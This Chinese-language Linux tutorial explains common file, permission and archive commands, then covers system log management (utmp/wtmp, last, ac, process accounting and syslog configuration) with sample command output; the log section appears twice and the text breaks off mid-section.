在硬链接的情况下，参数中的“目标”被链接至[链接名]。如果[链接名]是一个目录名，系统将在该目录之下建立一个或多个与“目标”同名的链接文件，链接文件和被链接文件的内容完全相同。如果[链接名]为一个文件，用户将被告知该文件已存在且不进行链接。如果指定了多个“目标”参数，那么最后一个参数必须为目录。

如果给ln命令加上s选项，则建立符号链接。如果[链接名]已经存在但不是目录，将不做链接。[链接名]可以是任何一个文件名（可包含路径），也可以是一个目录，并且允许它与“目标”不在同一个文件系统中。如果[链接名]是一个已经存在的目录，系统将在该目录下建立一个或多个与“目标”同名的文件，此新建的文件实际上是指向原“目标”的符号链接文件。
目录的创建与删除命令
mkdir命令

功能∶创建一个目录（类似DOS下的md命令）。

语法∶mkdir [选项] dirname

说明∶该命令创建由 dirname 命名的目录。要求创建目录的用户在当前目录中（dirname的父目录中）具有写权限，并且 dirname 不能是当前目录中已有的目录或文件名称。

命令中各选项的含义为∶

m 对新建目录设置存取权限。也可以用 chmod 命令设置。
p 可以是一个路径名称。此时若路径中的某些目录尚不存在， 加 上此选项后，系统将自动建立好那些尚不存在的目录，即一次可以建立多个目录。
rmdir 命令

功能∶删除空目录。

语法∶rmdir [选项] dirname

说明∶dirname表示目录名。该命令从一个目录中删除一个或多个子目录项。需 要特别注意的是，一个目录被删除之前必须是空的。（注意，rm r dir命令可 代替rmdir，但是有很大危险性。）删除某目录时也必须具有对父目录的写权限。
改变工作目录、显示目录内容命令
cd 命令

功能∶改变工作目录。

语法∶cd [directory]

说明∶该命令将当前目录改变至 directory 所指定的目录。若没有指定 directory，则回到用户的主目录。为了改变到指定目录，用户必须拥 有对指定目录的执行和读权限。该命令可以使用通配符.

pwd 命令

在Linux层次目录结构中，用户可以在被授权的任意目录下利用 mkdir 命令创建新目录，也可以利用cd命令从一个目录转换到另一个目录。然 而，没有提示符来告知用户目前处于哪一个目录中。要想知道当前所处 的目录，可以使用pwd命令，该命令显示整个路径名。

语法∶pwd

说明∶此命令显示出当前工作目录的绝对路径。

ls 命令

ls是英文单词list的简写，其功能为列出目录的内容。这是用户最常 用的一个命令之一，因为用户需要不时地查看某个目录的内容。该命 令类似于DOS下的dir命令。

语法∶ls [选项] [目录或是文件]

对于每个目录，该命令将列出其中的所有子目录与文件。对于每个文件，ls将输出其文件名以及所要求的其他信息。默认情况下，输出条目按字母顺序排序。当未给出目录名或是文件名时，就显示当前目录的信息。 命令中各选项的含义如下∶

a 显示指定目录下所有子目录与文件，包括隐藏文件。
A 显示指定目录下所有子目录与文件，包括隐藏文件。但不列出“." 和“.."。
b 对文件名中的不可显示字符用八进制逃逸字符显示。
c 按文件的修改时间排序。
C 分成多列显示各项。
d 如果参数是目录，只显示其名称而不显示其下的各文件。往往与l选 项一起使用，以得到目录的详细信息。
f 不排序。该选项将使lts选项失效，并使aU选项有效。
F 在目录名后面标记“/"，可执行文件后面标记“*"，符号链接后 面标记“@"，管道（或FIFO）后面标记“|"，socket文件后面标记“="。
i 在输出的第一列显示文件的i节点号。
l 以长格式来显示文件的详细信息。这个选项最常用。每行列出的信 息依次是∶
文件类型与权限 链接数 文件属主 文件属组 文件大小 建立或最近修改的时间 名字对于符号链接文件，显示的文件名之后有“”和引用文件路径名。

对于设备文件，其“文件大小”字段显示主、次设备号，而不是文件大小。目 录中的总块数显示在长格式列表的开头，其中包含间接块。L若指定的名称为 一个符号链接文件，则显示链接所指向的文件。

m 输出按字符流格式，文件跨页显示，以逗号分开。
n 输出格式与l选项相同，只不过在输出中文件属主和属组是用相应的 UID号和GID号来表示，而不是实际的名称。
o 与l选项相同，只是不显示拥有者信息。
p 在目录后面加一个“/"。
q 将文件名中的不可显示字符用“?"代替。
r 按字母逆序或最早优先的顺序显示输出结果。
R 递归式地显示指定目录的各个子目录中的文件。
s 给出每个目录项所用的块数，包括间接块。
t 显示时按修改时间（最近优先）而不是按名字排序。若文件修改时间 相同，则按字典顺序。修改时间取决于是否使用了c或u选顶。缺省的 时间标记是最后一次修改时间。
u 显示时按文件上次存取的时间（最近优先）而不是按名字排序。即将 -t的时间标记修改为最后一次访问的时间。
x 按行显示出各排序项的信息。
改变文件或目录的访问权限命令
Linux系统中的每个文件和目录都有访问许可权限，用它来确定谁可以通过何种方式对文件和目录进行访问和操作。文件或目录的访问权限分为只读，只写和可执行三种。以文件为例，只读权限表示只允许读其内容，而禁止对其做任何的更改操作。可执行权限表示允许将该文件作为一个程序执行。文件被创建时，文件所有者自动拥有对该文件的读、写和可执行权限，以便于对文件的阅读和修改。用户也可根据需要把访问权限设置为需要的任何组合。有三种不同类型的用户可对文件或目录进行访问∶文件所有者，同组用户、其他用户。所有者一般是文件的创建者。所有者可以允许同组用户有权访问文件，还可以将文件的访问权限赋予系统中的其他用户。在这种情况下，系统中每一位用户都能访问该用户拥有的文件或目录。每一文件或目录的访问权限都有三组，每组用三位表示，分别为文件属主的读、写和执行权限；与属主同组的用户的读、写和执行权限；系统中其他用户的读、写和执行权限。当用ls -l命令显示文件或目录的详细信息时，最左边的一列为文件的访问权限。例如∶

-rw-r-r-

横线代表空许可。r代表只读，w代表写，x代表可执行。注意这里共有10个位置。第一个字符指定了文件类型。在通常意义上，一个目录也是一个文件。如果第一个字符是横线，表示是一个非目录的文件。如果是d，表示是一个目录。

确定了一个文件的访问权限后，用户可以利用Linux系统提供的chmod命令来重新设定不同的访问权限。也可以利用chown命令来更改某个文件或目录的所有者。利用 chgrp命令来更改某个文件或目录的用户组。下面分别对这些命令加以介绍。

chmod 命令

chmod命令是非常重要的，用于改变文件或目录的访问权限。用户用它 控制文件或目录的访问权限。该命令有两种用法。一种是包含字母和操 作符表达式的文字设定法；另一种是包含数字的数字设定法。

1.
文字设定法
chmod [who] [+ | | =] [mode] 文件名

命令中各选项的含义为∶ 操作对象who可是下述字母中的任一个或者它们的组合∶

u 表示“用户（user）”，即文件或目录的所有者。
g 表示“同组（group）用户”，即与文件属主有相同组ID的所有用户。
o 表示“其他（others）用户”。
a 表示“所有（all）用户”。它是系统默认值。
操作符号可以是∶

+ 添加某个权限。
- 取消某个权限。
= 赋予给定权限并取消其他所有权限（如果有的话）。
设置mode所表示的权限可用下述字母的任意组合∶

r 可读。
w 可写。
x 可执行。
X 只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x 属性。
s 在文件执行时把进程的属主或组ID置为该文件的文件属主。
t 保存程序的文本到交换设备上。
u 与文件属主拥有一样的权限。
g 与和文件属主同组的用户拥有一样的权限。
o 与其他用户拥有一样的权限。

2.
数字设定法
我们必须首先了解用数字表示的属性的含义∶0表示没有权限，1表示可执行权 限，2表示可写权限，4表示可读权限，然后将其相加。所以数字属性的格式应 为3个从0到7的八进制数，其顺序是（u）（g）（o）。

数字设定法的一般形式为∶

chmod [mode] 文件名

chgrp命令

功能∶改变文件或目录所属的组。

语法∶chgrp [选项] group filename

该命令改变指定指定文件所属的用户组。其中group可以是用户组ID，也可以是 /etc/group文件中用户组的组名。文件名是以空格分开的要改变属组的文件列 表，支持通配符。如果用户不是该文件的属主或超级用户，则不能改变该文件 的组。

chown 命令

功能∶更改某个文件或目录的属主和属组。这个命令也很常用。例如 root用户把自己的一个文件拷贝给用户xu，为了让用户xu能够存取这个文件，root用户应该把这个文件的属主设为xu，否则，用户xu无法存取这个文件。

语法∶chown [选项] 用户或组 文件

说明∶chown将指定文件的拥有者改为指定的用户或组。用户可以是用户名或用户ID。组可以是组名或组ID。文件是以空格分开的要改变权限的文件列表，支持通配符。该命令的各选项含义如下∶
备份与压缩命令
用户经常需要备份计算机系统中的数据，为了节省存储空间，常常将备份文件进行压缩。下面分别介绍备份与压缩的命令。

tar命令

tar可以为文件和目录创建档案。利用tar，用户可以为某一特定文件创建档案（备份文件），也可以在档案中改变文件，或者向档案中加入新的文件。tar 最初被用来在磁带上创建档案，现在，用户可以在任何设备上创建档案，如软盘。利用 tar命令，可以把一大堆的文件和目录全部打包成一个文件，这对于备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。Linux上的tar是GNU版本的。

语法∶tar [主选项+辅选项] 文件或者目录

使用该命令时，主选项是必须要有的，它告诉tar要做什么事情，辅选项是辅助使用的，可以选用。

主选项∶

c 创建新的档案文件。如果用户想备份一个目录或是一些文件，就要选择这个选项。
r 把要存档的文件追加到档案文件的未尾。例如用户已经作好备份文件，又发现还有一个目录或是一些文件忘记备份了，这时可以使用该选项，将忘记的目录或文件追加到备份文件中。
t 列出档案文件的内容，查看已经备份了哪些文件。
u 更新文件。就是说，用新增的文件取代原备份文件，如果在备份文件中找不到要更新的文件，则把它追加到备份文件的最后。
x 从档案文件中释放文件。
辅助选项∶

b 该选项是为磁带机设定的。其后跟一数字，用来说明区块的大小，系统预设值为20 （20*512 bytes）。
f 使用档案文件或设备，这个选项通常是必选的。
k 保存已经存在的文件。例如我们把某个文件还原，在还原的过程中，遇到相同的文件，不会进行覆盖。
m 在还原文件时，把所有文件的修改时间设定为现在。
M 创建多卷的档案文件，以便在几个磁盘中存放。
v 详细报告tar处理的文件信息。如无此选项，tar不报告文件信息。
w 每一步都要求确认。
z 用gzip来压缩/解压缩文件，加上该选项后可以将档案文件进行压缩，但还原时也一定要使用该选项进行解压缩。
gzip命令

减少文件大小有两个明显的好处，一是可以减少存储空间，二是通过网络传输文件时，可以减少传输的时间。gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令，既方便又好用。

语法∶gzip [选项] 压缩（解压缩）的文件名

各选项的含义∶

-c 将输出写到标准输出上，并保留原有文件。
-d 将压缩文件解压。
-l 对每个压缩文件，显示下列字段∶ 压缩文件的大小, 未压缩文件的大小, 压缩比, 未压缩文件的名字,
-r 递归式地查找指定目录并压缩其中的所有文件或者是解压缩。
-t 测试，检查压缩文件是否完整。
-v 对每一个压缩和解压的文件，显示文件名和压缩比。
-num 用指定的数字num调整压缩的速度，-1或-fast表示最快压缩方法（低压缩比），-9或-best表示最慢压缩方法（高压缩比）。系统缺省值为6。
unzip命令

用 MS Windows 下的压缩软件 winzip 压缩的文件如何在 Linux 系统下展开呢？可以用 unzip 命令，该命令用于解扩展名为 .zip 的压缩文件。

语法∶unzip [选项] 压缩文件名.zip

各选项的含义分别为∶

-x 文件列表 解压缩文件，但不包括指定的file文件。
-v 查看压缩文件目录，但不解压。
-t 测试文件有无损坏，但不解压。
-d 目录 把压缩文件解到指定目录下。
-z 只显示压缩文件的注解。
-n 不覆盖已经存在的文件。
-o 覆盖已存在的文件且不要求用户确认。
-j 不重建文档的目录结构，把所有文件解压到同一目录下。


Linux日志

  在Linux系统中，有三个主要的日志子系统：

    连接时间日志--由多个程序执行，把纪录写入到/var/log/wtmp和/var/run/utmp，login等程序更新wtmp和utmp文件，使系统管理员能够跟踪谁在何时登录到系统。

    进程统计--由系统内核执行。当一个进程终止时，为每个进程往进程统计文件（pacct或acct）中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。

    错误日志--由syslogd（8）执行。各种系统守护进程、用户程序和内核通过syslog（3）向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。

常用的日志文件如下：

    access-log　　　　　　　　 纪录HTTP/web的传输

    acct/pacct　　　　　　　　 纪录用户命令

    aculog　　　　　　　　　　 纪录MODEM的活动

    btmp　　　　　　　　　　　　纪录失败的纪录

    lastlog　　纪录最近几次成功登录的事件和最后一次不成功的登录

    messages　　　　从syslog中记录信息（有的链接到syslog文件）

    sudolog　　　　　　　　　　 纪录使用sudo发出的命令

    sulog　　　　　　　　　　 纪录使用su命令的使用

    syslog　　　　 从syslog中记录信息（通常链接到messages文件）

    utmp　　　　　　　　　　　　纪录当前登录的每个用户

    wtmp　　　　　　　　一个用户每次登录进入和退出时间的永久纪录

    xferlog　　　　　　　　　　 纪录FTP会话

    utmp、wtmp和lastlog日志文件是多数重用UNIX日志子系统的关键--保持用户登录进入和退出的纪录。有关当前登录用户的信息记录在文件utmp中；登录进入和退出纪录在文件wtmp中；最后一次登录文件可以用lastlog命令察看。数据交换、关机和重起也记录在wtmp文件中。所有的纪录都包含时间戳。这些文件（lastlog通常不大）在具有大量用户的系统中增长十分迅速。例如wtmp文件可以无限增长，除非定期截取。许多系统以一天或者一周为单位把wtmp配置成循环使用。它通常由cron运行的脚本来修改。这些脚本重新命名并循环使用wtmp文件。通常，wtmp在第一天结束后命名为wtmp.1；第二天后wtmp.1变为wtmp.2等等，直到wtmp.7。

    每次有一个用户登录时，login程序在文件lastlog中察看用户的UID。如果找到了，则把用户上次登录、退出时间和主机名写到标准输出中，然后login程序在lastlog中纪录新的登录时间。在新的lastlog纪录写入后，utmp文件打开并插入用户的utmp纪录。该纪录一直用到用户登录退出时删除。utmp文件被各种命令文件使用，包括who、w、users和finger。

    下一步，login程序打开文件wtmp附加用户的utmp纪录。当用户登录退出时，具有更新时间戳的同一utmp纪录附加到文件中。wtmp文件被程序last和ac使用。

具体命令
    wtmp和utmp文件都是二进制文件，他们不能被诸如tail命令剪贴或合并（使用cat命令）。用户需要使用who、w、users、last和ac来使用这两个文件包含的信息。

    who：who命令查询utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。例如：who（回车）显示

    chyang　　　　 pts/0 Aug　　　　 18 15:06

    ynguo　　　　 pts/2 Aug　　　　 18 15:32

    ynguo　　　　 pts/3 Aug　　　　 18 13:55

    lewis　　　　 pts/4 Aug　　　　 18 13:35

    ynguo　　　　 pts/7 Aug　　　　 18 14:12

    ylou　　　　 pts/8 Aug　　　　 18 14:15

    如果指明了wtmp文件名，则who命令查询所有以前的纪录。命令who /var/log/wtmp将报告自从wtmp文件创建或删改以来的每一次登录。

    w：w命令查询utmp文件并显示当前系统中每个用户和它所运行的进程信息。例如：w（回车）显示：3:36pm up 1 day, 22:34, 6 users, load average: 0.23, 0.29, 0.27。

    USER　　 TTY　　　　FROM　　　　 LOGIN@ IDLE JCPU PCPU　　WHAT

    chyang pts/0 202.38.68.242　　3:06pm 2:04 0.08s 0.04s -bash

    ynguo pts/2 202.38.79.47　　 3:32pm 0.00s 0.14s 0.05　　 w

    lewis pts/3 202.38.64.233　　1:55pm 30:39 0.27s 0.22s -bash

    lewis pts/4 202.38.64.233　　1:35pm 6.00s 4.03s 0.01s sh /home/users/

    ynguo pts/7 simba.nic.ustc.e 2:12pm 0.00s 0.47s 0.24s telnet mail

    ylou　　pts/8 202.38.64.235　　2:15pm 1:09m 0.10s 0.04s　　-bash

users：users用单独的一行打印出当前登录的用户，每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话，那他的用户名将显示相同的次数。例如：users（回车）显示：chyang lewis lewis ylou ynguo ynguo

    last：last命令往回搜索wtmp来显示自从文件第一次创建以来登录过的用户。例如：

    chyang pts/9　　202.38.68.242 Tue Aug 1 08:34 - 11:23 (02:49)

    cfan　　pts/6　　202.38.64.224 Tue Aug 1 08:33 - 08:48 (00:14)

    chyang pts/4　　202.38.68.242 Tue Aug 1 08:32 - 12:13 (03:40)

    lewis pts/3　　202.38.64.233 Tue Aug 1 08:06 - 11:09 (03:03)

    lewis pts/2　　202.38.64.233 Tue Aug 1 07:56 - 11:09 (03:12)

    如果指明了用户，那么last只报告该用户的近期活动，例如：last ynguo（回车）显示：

    ynguo　　pts/4 simba.nic.ustc.e Fri Aug 4 16:50 - 08:20 (15:30)

    ynguo　　pts/4 simba.nic.ustc.e Thu Aug 3 23:55 - 04:40 (04:44)

    ynguo　　pts/11 simba.nic.ustc.e Thu Aug 3 20:45 - 22:02 (01:16)

    ynguo　　pts/0 simba.nic.ustc.e Thu Aug 3 03:17 - 05:42 (02:25)

    ynguo　　pts/0 simba.nic.ustc.e Wed Aug 2 01:04 - 03:16 1+02:12)

    ynguo　　pts/0 simba.nic.ustc.e Wed Aug 2 00:43 - 00:54 (00:11)

    ynguo　　pts/9 simba.nic.ustc.e Thu Aug 1 20:30 - 21:26 (00:55)

    ac：ac命令根据当前的/var/log/wtmp文件中的登录进入和退出来报告用户连结的时间（小时），如果不使用标志，则报告总的时间。例如：ac（回车）显示：total 5177.47

    ac -d（回车）显示每天的总的连结时间

    Aug 12 total 261.87

    Aug 13 total 351.39

    Aug 14 total 396.09

    Aug 15 total 462.63

    Aug 16 total 270.45

    Aug 17 total 104.29

    Today total 179.02

    ac -p （回车）显示每个用户的总的连接时间

    ynguo 193.23

    yucao 3.35

    rong 133.40

    hdai 10.52

    zjzhu 52.87

    zqzhou 13.14

    liangliu 24.34

    total 5178.24

    lastlog：lastlog文件在每次有用户登录时被查询。可以使用lastlog命令来检查某特定用户上次登录的时间，并格式化输出上次登录日志/var/log/lastlog的内容。它根据UID排序显示登录名、端口号（tty）和上次登录时间。如果一个用户从未登录过，lastlog显示"**Never logged**。注意需要以root运行该命令，例如：

    rong　　　　　　5　　 202.38.64.187　　　　　　　　 Fri Aug 18 15:57:01 +0800 2000

    dbb　　　　　　　　　　　　　　　　　　　　　　　　　　 **Never logged in**

    xinchen　　　　　　　　　　　　　　　　　　　　　　　　 **Never logged in**

    pb9511　　　　　　　　　　　　　　　　　　　　　　　　 **Never logged in**

    xchen　　　　 0　　 202.38.64.190　　　　　　　　 Sun Aug 13 10:01:22 +0800 2000

    另外，可一加一些参数，例如，last -u 102将报告UID为102的用户；last -t 7表示限制上一周的报告。

由 (原文Linux日志管理详:unix_guo)改写


linux日志管理

Linuxaid技术支持网站 unix_guo

1. 日志简介

日志对于安全来说，非常重要，他记录了系统每天发生的各种各样的事情，你可以通过他来检查错误发生的原因，或者受到攻击时攻击者留下的痕迹。日志主要的功能有：审计和监测。他还可以实时的监测系统状态，监测和追踪侵入者等等。

在Linux系统中，有三个主要的日志子系统：

连接时间日志--由多个程序执行，把纪录写入到/var/log/wtmp和/var/run/utmp，login等程序更新wtmp和utmp文件，使系统管理员能够跟踪谁在何时登录到系统。

进程统计--由系统内核执行。当一个进程终止时，为每个进程往进程统计文件（pacct或acct）中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。

错误日志--由syslogd（8）执行。各种系统守护进程、用户程序和内核通过syslog（3）向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。

常用的日志文件如下：

access-log 纪录HTTP/web的传输
acct/pacct 纪录用户命令
aculog 纪录MODEM的活动
btmp 纪录失败的纪录
lastlog 纪录最近几次成功登录的事件和最后一次不成功的登录
messages 从syslog中记录信息（有的链接到syslog文件）
sudolog 纪录使用sudo发出的命令
sulog 纪录使用su命令的使用
syslog 从syslog中记录信息（通常链接到messages文件）
utmp 纪录当前登录的每个用户
wtmp 一个用户每次登录进入和退出时间的永久纪录
xferlog 纪录FTP会话

utmp、wtmp和lastlog日志文件是多数重用UNIX日志子系统的关键--保持用户登录进入和退出的纪录。有关当前登录用户的信息记录在文件utmp中；登录进入和退出纪录在文件wtmp中；最后一次登录文件可以用lastlog命令察看。数据交换、关机和重起也记录在wtmp文件中。所有的纪录都包含时间戳。这些文件（lastlog通常不大）在具有大量用户的系统中增长十分迅速。例如wtmp文件可以无限增长，除非定期截取。许多系统以一天或者一周为单位把wtmp配置成循环使用。它通常由cron运行的脚本来修改。这些脚本重新命名并循环使用wtmp文件。通常，wtmp在第一天结束后命名为wtmp.1；第二天后wtmp.1变为wtmp.2等等，直到wtmp.7。

每次有一个用户登录时，login程序在文件lastlog中察看用户的UID。如果找到了，则把用户上次登录、退出时间和主机名写到标准输出中，然后login程序在lastlog中纪录新的登录时间。在新的lastlog纪录写入后，utmp文件打开并插入用户的utmp纪录。该纪录一直用到用户登录退出时删除。utmp文件被各种命令文件使用，包括who、w、users和finger。

下一步，login程序打开文件wtmp附加用户的utmp纪录。当用户登录退出时，具有更新时间戳的同一utmp纪录附加到文件中。wtmp文件被程序last和ac使用。

2. 具体命令

wtmp和utmp文件都是二进制文件，他们不能被诸如tail命令剪贴或合并（使用cat命令）。用户需要使用who、w、users、last和ac来使用这两个文件包含的信息。

who：who命令查询utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。例如：who（回车）显示

chyang pts/0 Aug 18 15:06
ynguo pts/2 Aug 18 15:32
ynguo pts/3 Aug 18 13:55
lewis pts/4 Aug 18 13:35
ynguo pts/7 Aug 18 14:12
ylou pts/8 Aug 18 14:15

如果指明了wtmp文件名，则who命令查询所有以前的纪录。命令who /var/log/wtmp将报告自从wtmp文件创建或删改以来的每一次登录。

w：w命令查询utmp文件并显示当前系统中每个用户和它所运行的进程信息。例如：w（回车）显示：3:36pm up 1 day, 22:34, 6 users, load average: 0.23, 0.29, 0.27

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
chyang pts/0 202.38.68.242 3:06pm 2:04 0.08s 0.04s -bash
ynguo pts/2 202.38.79.47 3:32pm 0.00s 0.14s 0.05 w
lewis pts/3 202.38.64.233 1:55pm 30:39 0.27s 0.22s -bash
lewis pts/4 202.38.64.233 1:35pm 6.00s 4.03s 0.01s sh /home/users/
ynguo pts/7 simba.nic.ustc.e 2:12pm 0.00s 0.47s 0.24s telnet mail
ylou pts/8 202.38.64.235 2:15pm 1:09m 0.10s 0.04s -bash

users：users用单独的一行打印出当前登录的用户，每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话，那他的用户名将显示相同的次数。例如：users（回车）显示：chyang lewis lewis ylou ynguo ynguo

last：last命令往回搜索wtmp来显示自从文件第一次创建以来登录过的用户。例如：

chyang pts/9 202.38.68.242 Tue Aug 1 08:34 - 11:23 (02:49)
cfan pts/6 202.38.64.224 Tue Aug 1 08:33 - 08:48 (00:14)
chyang pts/4 202.38.68.242 Tue Aug 1 08:32 - 12:13 (03:40)
lewis pts/3 202.38.64.233 Tue Aug 1 08:06 - 11:09 (03:03)
lewis pts/2 202.38.64.233 Tue Aug 1 07:56 - 11:09 (03:12)

如果指明了用户，那么last只报告该用户的近期活动，例如：last ynguo（回车）显示：

ynguo pts/4 simba.nic.ustc.e Fri Aug 4 16:50 - 08:20 (15:30)
ynguo pts/4 simba.nic.ustc.e Thu Aug 3 23:55 - 04:40 (04:44)
ynguo pts/11 simba.nic.ustc.e Thu Aug 3 20:45 - 22:02 (01:16)
ynguo pts/0 simba.nic.ustc.e Thu Aug 3 03:17 - 05:42 (02:25)
ynguo pts/0 simba.nic.ustc.e Wed Aug 2 01:04 - 03:16 1+02:12)
ynguo pts/0 simba.nic.ustc.e Wed Aug 2 00:43 - 00:54 (00:11)
ynguo pts/9 simba.nic.ustc.e Thu Aug 1 20:30 - 21:26 (00:55)

ac：ac命令根据当前的/var/log/wtmp文件中的登录进入和退出来报告用户连结的时间（小时），如果不使用标志，则报告总的时间。例如：ac（回车）显示：total 5177.47

ac -d（回车）显示每天的总的连结时间

Aug 12 total 261.87
Aug 13 total 351.39
Aug 14 total 396.09
Aug 15 total 462.63
Aug 16 total 270.45
Aug 17 total 104.29
Today total 179.02

ac -p （回车）显示每个用户的总的连接时间

ynguo 193.23
yucao 3.35
rong 133.40
hdai 10.52
zjzhu 52.87
zqzhou 13.14
liangliu 24.34
total 5178.24

lastlog：lastlog文件在每次有用户登录时被查询。可以使用lastlog命令来检查某特定用户上次登录的时间，并格式化输出上次登录日志/var/log/lastlog的内容。它根据UID排序显示登录名、端口号（tty）和上次登录时间。如果一个用户从未登录过，lastlog显示"**Never logged**。注意需要以root运行该命令，例如：

rong 5 202.38.64.187 Fri Aug 18 15:57:01 +0800 2000
dbb **Never logged in**
xinchen **Never logged in**
pb9511 **Never logged in**
xchen 0 202.38.64.190 Sun Aug 13 10:01:22 +0800 2000

另外，可一加一些参数，例如，last -u 102将报告UID为102的用户；last -t 7表示限制上一周的报告。

3. 进程统计

UNIX可以跟踪每个用户运行的每条命令，如果想知道昨晚弄乱了哪些重要的文件，进程统计子系统可以告诉你。它对还跟踪一个侵入者有帮助。与连接时间日志不同，进程统计子系统缺省不激活，它必须启动。在Linux系统中启动进程统计使用accton命令，必须用root身份来运行。Accton命令的形式accton file，file必须先存在。先使用touch命令来创建pacct文件：touch /var/log/pacct，然后运行accton： accton /var/log/pacct。一旦accton被激活，就可以使用lastcomm命令监测系统中任何时候执行的命令。若要关闭统计，可以使用不带任何参数的accton命令。

lastcomm命令报告以前执行的文件。不带参数时，lastcomm命令显示当前统计文件生命周期内纪录的所有命令的有关信息。包括命令名、用户、tty、命令花费的CPU时间和一个时间戳。如果系统有许多用户，输入则可能很长。下面的例子：

crond F root ?? 0.00 secs Sun Aug 20 00:16
promisc_check.s S root ?? 0.04 secs Sun Aug 20 00:16
promisc_check root ?? 0.01 secs Sun Aug 20 00:16
grep root ?? 0.02 secs Sun Aug 20 00:16
tail root ?? 0.01 secs Sun Aug 20 00:16
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.01 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.02 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.02 secs Sun Aug 20 00:15
sh root ?? 0.02 secs Sun Aug 20 00:15
ping S root ?? 0.00 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.02 secs Sun Aug 20 00:15
ping S root ?? 1.34 secs Sun Aug 20 00:15
locate root ttyp0 1.34 secs Sun Aug 20 00:15
accton S root ttyp0 0.00 secs Sun Aug 20 00:15

进程统计的一个问题是pacct文件可能增长的十分迅速。这时需要交互式的或经过cron机制运行sa命令来保持日志数据在系统控制内。sa命令报告、清理并维护进程统计文件。它能把/var/log/pacct中的信息压缩到摘要文件/var/log/savacct和/var/log/usracct中。这些摘要包含按命令名和用户名分类的系统统计数据。sa缺省情况下先读它们，然后读pacct文件，使报告能包含所有的可用信息。sa的输出有下面一些标记项：

avio--每次执行的平均I/O操作次数
cp--用户和系统时间总和，以分钟计
cpu--和cp一样
k--内核使用的平均CPU时间，以1k为单位
k*sec--CPU存储完整性，以1k-core秒
re--实时时间，以分钟计
s--系统时间，以分钟计
tio--I/O操作的总数
u--用户时间，以分钟计

例如：

842 173.26re 4.30cp 0avio 358k
2 10.98re 4.06cp 0avio 299k find
9 24.80re 0.05cp 0avio 291k ***other
105 30.44re 0.03cp 0avio 302k ping
104 30.55re 0.03cp 0avio 394k sh
162 0.11re 0.03cp 0avio 413k security.sh*
154 0.03re 0.02cp 0avio 273k ls
56 31.61re 0.02cp 0avio 823k ping6.pl*
2 3.23re 0.02cp 0avio 822k ping6.pl
35 0.02re 0.01cp 0avio 257k md5sum
97 0.02re 0.01cp 0avio 263k initlog
12 0.19re 0.01cp 0avio 399k promisc_check.s
15 0.09re 0.00cp 0avio 288k grep
11 0.08re 0.00cp 0avio 332k awk

用户还可以根据用户而不是命令来提供一个摘要报告。例如sa -m显示如下：

885 173.28re 4.31cp 0avk
root 879 173.23re 4.31cp 0avk
alias 3 0.05re 0.00cp 0avk
qmailp 3 0.01re 0.00cp 0avk

4. Syslog设备

Syslog已被许多日志函数采纳，它用在许多保护措施中--任何程序都可以通过syslog 纪录事件。Syslog可以纪录系统事件，可以写到一个文件或设备中，或给用户发送一个信息。它能纪录本地事件或通过网络纪录另一个主机上的事件。

Syslog设备依据两个重要的文件：/etc/syslogd（守护进程）和/etc/syslog.conf配置文件，习惯上，多数syslog信息被写到/var/adm或/var/log目录下的信息文件中（messages.*）。一个典型的syslog纪录包括生成程序的名字和一个文本信息。它还包括一个设备和一个优先级范围（但不在日之中出现）。

每个syslog消息被赋予下面的主要设备之一：

LOG_AUTH--认证系统：login、su、getty等
LOG_AUTHPRIV--同LOG_AUTH，但只登录到所选择的单个用户可读的文件中
LOG_CRON--cron守护进程
LOG_DAEMON--其他系统守护进程，如routed
LOG_FTP--文件传输协议：ftpd、tftpd
LOG_KERN--内核产生的消息
LOG_LPR--系统打印机缓冲池：lpr、lpd
LOG_MAIL--电子邮件系统
LOG_NEWS--网络新闻系统
LOG_SYSLOG--由syslogd（8）产生的内部消息
LOG_USER--随机用户进程产生的消息
LOG_UUCP--UUCP子系统
LOG_LOCAL0~LOG_LOCAL7--为本地使用保留

Syslog为每个事件赋予几个不同的优先级：

LOG_EMERG--紧急情况
LOG_ALERT--应该被立即改正的问题，如系统数据库破坏
LOG_CRIT--重要情况，如硬盘错误
LOG_ERR--错误
LOG_WARNING--警告信息
LOG_NOTICE--不是错误情况，但是可能需要处理
LOG_INFO--情报信息
LOG_DEBUG--包含情报的信息，通常旨在调试一个程序时使用

syslog.conf文件指明syslogd程序纪录日志的行为，该程序在启动时查询配置文件。该文件由不同程序或消息分类的单个条目组成，每个占一行。对每类消息提供一个选择域和一个动作域。这些域由tab隔开：选择域指明消息的类型和优先级；动作域指明syslogd接收到一个与选择标准相匹配的消息时所执行的动作。每个选项是由设备和优先级组成。当指明一个优先级时，syslogd将纪录一个拥有相同或更高优先级的消息。所以如果指明"crit"，那所有标为crit、alert和emerg的消息将被纪录。每行的行动域指明当选择域选择了一个给定消息后应该把他发送到哪儿。例如，如果想把所有邮件消息纪录到一个文件中，如下：

#Log all the mail messages in one place
mail.* /var/log/maillog

其他设备也有自己的日志。UUCP和news设备能产生许多外部消息。它把这些消息存到自己的日志（/var/log/spooler）中并把级别限为"err"或更高。例如：

# Save mail and news errors of level err and higher in aspecial file.
uucp,news.crit /var/log/spooler

当一个紧急消息到来时，可能想让所有的用户都得到。也可能想让自己的日志接收并保存。 #Everybody gets emergency messages， plus log them on anther machine
*.emerg *
*.emerg @linuxaid.com.cn

alert消息应该写到root和tiger的个人账号中：

#Root and Tiger get alert and higher messages
